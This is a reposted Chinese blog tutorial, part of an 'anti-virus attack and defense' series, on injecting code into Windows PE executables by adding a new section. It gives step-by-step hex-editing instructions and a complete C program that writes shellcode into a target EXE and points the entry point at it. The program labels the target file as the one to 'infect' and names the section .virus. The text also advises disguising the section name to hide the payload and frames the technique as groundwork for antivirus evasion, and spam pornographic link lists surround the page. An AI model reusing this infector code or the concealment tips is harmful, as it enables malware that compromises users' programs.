日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

【转】反病毒攻防研究第003篇:添加节区实现代码的植入

發布時間:2025/3/15 编程问答 27 豆豆
生活随笔 收集整理的這篇文章主要介紹了 【转】反病毒攻防研究第003篇:添加节区实现代码的植入 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

聲明

因為在評論區看到原博主說要把文章刪掉。。。心想這么好的文章刪了真的可惜,所以就先轉一份。。。


一、前言

? ? ? ? 上一篇文章所討論的利用縫隙實現代碼的植入有一個很大的問題,就是我們想要植入的代碼的長度不能夠比縫隙大,否則需要把自身的代碼截成幾個部分,再分別插入不同的縫隙中。而這次所討論的方法是增加一個節區,這個節區完全可以達到私人訂制的效果,其大小完全由我們自己來決定,這樣的話,即便是代碼較長,也不用擔心。而這種方式最大的缺陷就是不利于惡意代碼自身的隱藏,因此在現實中可能并不常用。其實,我在這里討論節區的添加,是為了以后更加深入的討論打下基礎,因為在加殼以及免殺技術中,經常會對PE文件添加節區。這篇文章首先會討論如何手工添加節區,之后會討論編程實現節區的添加。

?

二、手工添加節區

? ? ? ? 就我個人而言,只要不是過于繁瑣,我都比較傾向于直接利用十六進制代碼編輯軟件來修改目標程序。因為當理解了各種文件的格式之后,純手工對代碼進行編輯會更加靈活,也更加方便。只要ShellCode不太長,那么手工添加節區來植入代碼,其實還是比較容易的。一般來說,添加節區由以下四個步驟組成:

? ? ? ? 1、在節表后面添加一個IMAGE_SECTION_HEADER,用于保存所添加的節的基本信息。

? ? ? ? 2、更新IMAGE_FILE_HEADER中的NumberOfSections字段,添加了幾個節區就增加多少。

? ? ? ? 3、更新IMAGE_OPTIONAL_HEADER中的SizeOfImage字段,這里需要加上所添加節區的大小。如果添加代碼,還需修改SizeOfCode的大小以及程序入口點。

? ? ? ? 4、添加節區的數據。

? ? ? ? 這里先用PEiD看一下上一篇文章中所編寫的helloworld.exe的節區情況(這里所討論的是Release版,如果是Debug版,會有所不同):


圖1 用PEiD查看節區

? ? ? ? 從截圖中可以看到helloworld.exe包含有三個節區,再來看一下IMAGE_SECTION_HEADER的定義:

  • typedef struct _IMAGE_SECTION_HEADER {
  • BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; //8個字節的節區名稱
  • union { //節區尺寸
  • DWORD PhysicalAddress;
  • DWORD VirtualSize;
  • } Misc;
  • DWORD VirtualAddress; //節區的RVA地址
  • DWORD SizeOfRawData; //在文件中對齊后的尺寸
  • DWORD PointerToRawData; //在文件中的偏移
  • DWORD PointerToRelocations; //在OBJ文件中使用,重定位的偏移
  • DWORD PointerToLinenumbers; //行號表的偏移(供調試用)
  • WORD NumberOfRelocations; //在OBJ文件中使用,重定位項數目
  • WORD NumberofLinenumbers; //行號表中行號的數目
  • DWORD Characteristics; //節區的屬性
  • } IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
  • 該結構體的成員很多,但是真正需要使用的只有在PEiD中顯示的那6個,即Name、VirtualSize、VirtualAddress、SizeofRawData、PointerToRawData與Characteristics。結合Hex Editor Neo觀察如下:


    圖2 用Hex Editor Neo查看節區數據

    ? ? ? ? 在圖2中可以發現,IMAGE_SECTION_HEADER的長度是40個字節,每一項節表的相關數據在Hex Editor Neo中正好占了兩行半的內容。這里再解釋一下在PEiD中所顯示的那六個成員的意義:

    ? ? ? ? 1、Name:節區名稱。這是一個8位ASCII碼名(不是Unicode內碼),用來定義節區名稱。一般來說,節區名稱以一個“.”開始(如.text),但是其實這個“.”并不是必需的。需要說明的是,如果節區的名稱超過8個字節,則沒有最后的終止標志“NULL”字節。帶有一個“$”的節區名字會從鏈接器那里得到特殊的對待,前面帶有“$”的相同名字的節區被合并,在合并后的節區中,它們是按“$”后面的字符字母順序進行合并的。

    ? ? ? ? 對于helloworld.exe這個程序來說,為了實現所添加節區的隱藏,可以將新添加的節區名稱偽裝成正常的節區名稱,比如.crt、.bss、.edata或者.sdata等等。或者把原來正常的節區名稱改掉,如將原來的.text改為.jy(我名字的縮寫),而將所添加的節區名稱命名為.text,一般來說,系統不會因為節區改了名字而出錯。這里為了方便起見,將新節區的名字設定為.virus。

    ? ? ? ? 2、VirtualSize(V.Size):指出實際的、被使用的節區大小,是節區在沒進行對齊處理前的實際大小。如果VirtualSize大于SizeOfRawData,那么SizeOfRawData是來自可執行文件初始化數據的大小,與VirtualSize相差的字節用零填充。這個字段在OBJ文件中是被設定為0的。

    ? ? ? ? 這里我將節的大小直接設定為對齊后的大小。由于文件對齊是0x1000字節,那么就采用最小值即可,直接設定為0x1000。由于計算機是小端顯示,且占據4個字節,因此應當寫為“00 10 00 00”,這種小端的書寫方式在之后的數據填寫中也會采用。

    ? ? ? ? 3、VirtualAddress(V.Offset):表示節區裝載到內存中的RVA。這個地址是按照內存頁對齊的,它的值總是SectionAlignment的整數倍。在Microsoft工具中,第一個塊的默認RVA為1000h。在OBJ中,該字段沒有意義,并被設為0。

    ? ? ? ? VirtualAddress的值是上一個節區的起始位置加上上一個節對齊后的長度的值,在PEiD中可見,上一個節區的起始位置是0x7000,上個節區對齊后的長度是0x4000,因此新節區的起始位置是0xB000。

    ? ? ? ? 4、SizeOfRawData(R.Size):該節區在磁盤文件中所占的大小。在可執行文件中,該字段包含經過FileAlignment調整后的塊的長度。例如,指定FileAlignment的大小為200h,如果VirtualSize中的塊的長度為19Ah個字節,這一塊應保持的長度為200h個字節。

    ? ? ? ? 這里只要填寫一個最小值0x1000就可以。

    ? ? ? ? 5、PointerToRawData(R.Offset):該節區在磁盤文件中的偏移。程序經編譯或匯編后生成原始數據,這個字段用于給出原始數據在文件中的偏移。如果程序自裝載PE或COFF文件(而不是由操作系統裝入),這一字段比VirtualAddress還重要。在這種狀態下,必須完全使用線性映像方法裝入文件,所以需要在該偏移處找到塊的數據,而不是VirtualAddress字段中的RVA地址。

    ? ? ? ? 由于上一個節區的位移為0x7000,大小為0x3000,所以這里的R.Offset應該為0xA000。

    ? ? ? ? 6、Characteristics(Flags):節區屬性。該字段是一組指出節區屬性(如代碼/數據/可讀/可寫)的標志。具體的屬性可以查表獲得。

    ? ? ? ? 這里可以直接參考.text的屬性,即“20 0000 60”(包含代碼,可讀可執行)。

    ? ? ? ? 那么依據上述分析,在緊接著上一個節區位置的0x240處開始,直接手工填寫相關數據如下:


    圖3 手工添加節區的基本信息

    ? ? ? ? 至此,節區的基本信息添加完成,接下來需要修改這個PE文件的節區數量,之前該文件有3個節區,這里需要修改成4個。找到IMAGE_FILE_HEADER中的NumberOfSections字段進行修改:


    圖4 更改節區數量

    ? ? ? ? 接下來需要修改文件映像的大小,也就是SizeOfImage的值。因為這里我新添加了一個節區,那么就應該把新的節區的大小加上原始SizeOfImage的值,就是新的文件映像的大小。這里原始的SizeOfImage大小為0xB000,新節區的大小為0x1000,那么新的SizeOfImage的大小就是0xC000。


    圖5 更改文件映像大小

    ? ? ? ? 由于我在文件中添加了新的代碼段,所以這里還需要修改SizeOfCode的大小,出現多個代碼節,就應該把這個字段修改為它們的總和。我添加了0x1000字節的內容,那么就應將這個數據段修改成0x6000:


    圖6 修改代碼節的大小

    ? ? ? ? 至此,修改PE結構字段的內容都已經做完了,現在開始需要添加真實的數據,根據上述分析,文件的起始位置為0xA000,長度為0x1000。填入ShellCode,并在其后填入00,將0x1000長度的空間補滿(不補滿的話,系統會報錯,補多了的話,會顯示有附加數據):


    圖7 添加ShellCode

    這里的返回地址(0x00401203)與上一篇文章中的不同,需要注意。最后一步就是將程序的入口點修改為ShellCode的入口點,即將AddressOfEntryPoint修改為0xB000(RVA):

    圖8 修改程序入口地址為ShellCode地址

    ? ? ? ? 至此,所有修改完成,再次使用PEiD查看,如圖所示:


    圖9 添加成功

    ? ? ? ? 經過實際測試,程序正常運行,效果與上一篇文章所討論的相同,這里不再贅述。

    ?

    三、編程添加節區

    ? ? ? ? 與上一篇文章中的在縫隙中添加代碼的方法類似,通過編程添加一個節區其實就是對文件的一系列操作,并且依然需要對PE文件的合法性進行檢驗。通過編程的方法添加節區和手動方法在步驟上是一樣的,只不過是將上面的手動步驟以通過調用API函數的方式進行編程而已。完整代碼如下:

  • #include <windows.h>
  • #define FILENAME "helloworld.exe" //欲“感染”的文件名
  • char szSecName[] = ".virus"; //所添加的節區名稱
  • int nSecSize = 4096; //所添加的節區大小(字節)
  • char shellcode[] =
  • "\x33\xdb" //xor ebx,ebx
  • "\x53" //push ebx
  • "\x68\x2e\x65\x78\x65" //push 0x6578652e
  • "\x68\x48\x61\x63\x6b" //push 0x6b636148
  • "\x8b\xc4" //mov eax,esp
  • "\x53" //push ebx
  • "\x50" //push eax
  • "\xb8\x31\x32\x86\x7c" //mov eax,0x7c863231
  • "\xff\xd0" //call eax
  • "\xb8\x90\x90\x90\x90" //mov eax,OEP
  • "\xff\xe0\x90"; //jmp eax
  • HANDLE hFile = NULL;
  • HANDLE hMap = NULL;
  • LPVOID lpBase = NULL;
  • DWORD AlignSize(int nSecSize, DWORD Alignment)
  • {
  • int nSize = nSecSize;
  • if (nSize % Alignment != 0 )
  • {
  • nSecSize = (nSize / Alignment + 1) * Alignment;
  • }
  • return nSecSize;
  • }
  • void AddSectionData(int nSecSize)
  • {
  • PBYTE pByte = NULL;
  • //申請用來添加數據的空間,這里需要減去ShellCode本身所占的空間
  • pByte = (PBYTE)malloc(nSecSize-(strlen(shellcode)+3));
  • ZeroMemory(pByte, nSecSize-(strlen(shellcode)+3));
  • DWORD dwNum = 0;
  • //令文件指針指向文件末尾,以準備添加數據
  • SetFilePointer(hFile, 0, 0, FILE_END);
  • //在文件的末尾寫入ShellCode
  • WriteFile(hFile, shellcode, strlen(shellcode)+3, &dwNum, NULL);
  • //在ShellCode的末尾用00補充滿
  • WriteFile(hFile, pByte, nSecSize-(strlen(shellcode)+3), &dwNum, NULL);
  • FlushFileBuffers(hFile);
  • free(pByte);
  • }
  • int main()
  • {
  • hFile = CreateFile(FILENAME,
  • GENERIC_READ | GENERIC_WRITE,
  • FILE_SHARE_READ,
  • NULL,
  • OPEN_EXISTING,
  • FILE_ATTRIBUTE_NORMAL,
  • NULL);
  • hMap = CreateFileMapping(hFile,NULL,PAGE_READWRITE,0,0,0);
  • lpBase = MapViewOfFile(hMap,FILE_MAP_READ|FILE_MAP_WRITE,0,0,0);
  • PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase;
  • PIMAGE_NT_HEADERS pNtHeader = NULL;
  • //PE文件驗證,判斷e_magic是否為MZ
  • if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
  • {
  • UnmapViewOfFile(lpBase);
  • CloseHandle(hMap);
  • CloseHandle(hFile);
  • return 0;
  • }
  • //根據e_lfanew來找到Signature標志位
  • pNtHeader = (PIMAGE_NT_HEADERS)((BYTE *)lpBase + pDosHeader->e_lfanew);
  • //PE文件驗證,判斷Signature是否為PE
  • if(pNtHeader->Signature != IMAGE_NT_SIGNATURE)
  • {
  • UnmapViewOfFile(lpBase);
  • CloseHandle(hMap);
  • CloseHandle(hFile);
  • return 0;
  • }
  • int nSecNum = pNtHeader->FileHeader.NumberOfSections;
  • DWORD dwFileAlignment = pNtHeader->OptionalHeader.FileAlignment;
  • DWORD dwSecAlignment = pNtHeader->OptionalHeader.SectionAlignment;
  • PIMAGE_SECTION_HEADER pSecHeader = (PIMAGE_SECTION_HEADER)((DWORD)
  • &(pNtHeader->OptionalHeader)+pNtHeader->
  • FileHeader.SizeOfOptionalHeader);
  • PIMAGE_SECTION_HEADER pTmpSec = pSecHeader + nSecNum;
  • //拷貝節區名稱
  • strncpy((char *)pTmpSec->Name, szSecName, 7);
  • //節的內存大小
  • pTmpSec->Misc.VirtualSize = AlignSize(nSecSize, dwSecAlignment);
  • //節的內存起始位置
  • pTmpSec->VirtualAddress = pSecHeader[nSecNum - 1].VirtualAddress +
  • AlignSize(pSecHeader[nSecNum - 1].Misc.VirtualSize, dwSecAlignment);
  • //節的文件大小
  • pTmpSec->SizeOfRawData = AlignSize(nSecSize, dwFileAlignment);
  • //節的文件起始位置
  • pTmpSec->PointerToRawData = pSecHeader[nSecNum - 1].PointerToRawData +
  • AlignSize(pSecHeader[nSecNum - 1].SizeOfRawData, dwSecAlignment);
  • //節的屬性(包含代碼,可執行,可讀)
  • pTmpSec->Characteristics = IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ ;
  • //修正節的數量,自增1
  • pNtHeader->FileHeader.NumberOfSections ++;
  • //修正映像大小
  • pNtHeader->OptionalHeader.SizeOfImage += pTmpSec->Misc.VirtualSize;
  • //將程序的入口地址寫入ShellCode
  • DWORD dwOep = pNtHeader->OptionalHeader.ImageBase+pNtHeader->OptionalHeader.AddressOfEntryPoint;
  • *(DWORD *)&shellcode[25] = dwOep;
  • //添加節區數據
  • AddSectionData(pTmpSec->SizeOfRawData);
  • //修正代碼長度(只在添加代碼時才需修改此項)
  • pNtHeader->OptionalHeader.SizeOfCode += pTmpSec->SizeOfRawData;
  • //修正程序的入口地址(只在添加代碼并想讓ShellCode提前執行時才需修改此項)
  • pNtHeader->OptionalHeader.AddressOfEntryPoint = pTmpSec->VirtualAddress;
  • FlushViewOfFile(lpBase, 0);
  • UnmapViewOfFile(lpBase);
  • CloseHandle(hMap);
  • CloseHandle(hFile);
  • return 0;
  • }
  • ? ? ? ? 以上代碼比較簡單,就是基本的文件操作,已給出了相關的注釋,這里不再論述。

    ?

    四、防范方法

    ? ? ? ? 在我看來,感染類病毒并不容易清除,因為它會把自身代碼植入到正常PE文件中,盡管中毒后可以運用殺毒工具針對其對計算機造成的損害進行清除,但是難以刪除隱藏在正常程序中的惡意代碼。雖然我們可以不再運行含有惡意程序的軟件,但是只要運行過一次,那么它就有可能將計算機中的所有PE文件感染,這樣即便我們使用殺毒工具清除了病毒所產生的不良行為,但是一旦運行別的程序,依舊會再次中病毒。而且就算有方法將藏身于PE文件中的病毒代碼徹底清除,也有可能破壞程序主體,使該程序不能夠正常運行。因此,最好的方法就是從源頭上杜絕這種情況的出現,不要下載和運行來歷不明的程序,并且安裝殺毒軟件。也就是說,一定要培養出良好的計算機安全意識。

    ?

    五、小結

    ? ? ? ? 這次我們討論了手工以及編程添加節區的方法,其實它的原理非常簡單,只是比較繁瑣而已。通過這篇文章的討論,也為以后的免殺技術的討論打下了基礎。

    總結

    以上是生活随笔為你收集整理的【转】反病毒攻防研究第003篇:添加节区实现代码的植入的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

    主站蜘蛛池模板: 日韩综合在线观看 | 亚洲精品一区二区三区区别 | 美女写真福利视频 | 91精品一区二区三区在线观看 | 国产综合社区 | 久久中文字幕电影 | 欧美日韩在线视频一区 | 欧美成人三级在线观看 | 午夜视频日韩 | 五月激情综合网 | 99热这里只有精品8 国产一卡二 | 特级淫片裸体免费看冫 | 操碰在线视频 | 三级在线网站 | 四虎最新域名 | 精品在线免费观看视频 | 奇米影视一区二区三区 | 欧美日韩a√ | 蜜桃精品成人影片 | 国产一区二区麻豆 | 国产免费一区二区三区三州老师 | 草逼导航 | 一集毛片| 成人av网址在线 | 天天躁日日躁狠狠躁av麻豆 | 欧洲自拍偷拍 | 欧美不在线 | 中文字幕一区二区三区5566 | 久久性生活 | 91视频官网 | 麻豆视频在线免费观看 | 一区二区三区精 | 成人免费观看视频 | 美女一区二区三区四区 | 能看的av网站 | 亚洲av综合av一区二区三区 | 国产亚洲精品美女久久久久 | 啪啪一区二区 | 亚洲 欧美 另类 综合 偷拍 | 免费99精品国产自在在线 | 亚洲国产视频一区 | 男人的天堂手机在线 | 在线视频福利 | 国产又粗又黄又爽又硬 | 欧美成人三级在线观看 | 中文字幕在线字幕中文 | 日韩欧美成人精品 | 国产又色又爽又黄 | av图片在线观看 | 99国产精品久久久久 | 国产精品系列在线播放 | 99成人在线观看 | 成人三级视频 | 激情五月婷婷综合网 | 草久久av | av中出在线 | 东北女人av | 国产一区久久久 | 国产日韩av在线播放 | 91久久一区| 久久草视频在线 | 亚洲 在线 | 先锋av资源 | 中文字幕无码精品亚洲资源网久久 | 日韩免费一区二区 | 亚洲五十路| 狠狠躁夜夜躁人人爽视频 | 国产亚洲福利 | 亚洲综合第一页 | 五月中文字幕 | 在线视频在线观看 | 亚洲精品日韩丝袜精品 | 美国黄色a级片 | 国产一区视频网站 | 国产系列精品av | 日韩女优在线观看 | 欧美又大又硬又粗bbbbb | 夜夜夜网站 | 日本少妇xxx | 欧美激情 一区 | 久久亚洲在线 | 日韩人妻一区二区三区蜜桃 | 美女被出白浆 | 美女被到爽高潮视频 | 国产成人免费av | 亚洲做受高潮无遮挡 | 欧美精品在线播放 | 亚洲最大av网 | 国产1区2区3区4区 | 在线不卡视频 | 名校风暴在线观看免费高清完整 | 日韩一二三四 | 天堂欧美城网站网址 | 亚洲一区二区三区电影 | av成人在线电影 | 国产精品高潮呻吟久久aⅴ码 | 一区二区三区久久久久 | 亚洲精品乱码久久久久久日本蜜臀 | 欧美日韩在线观看免费 |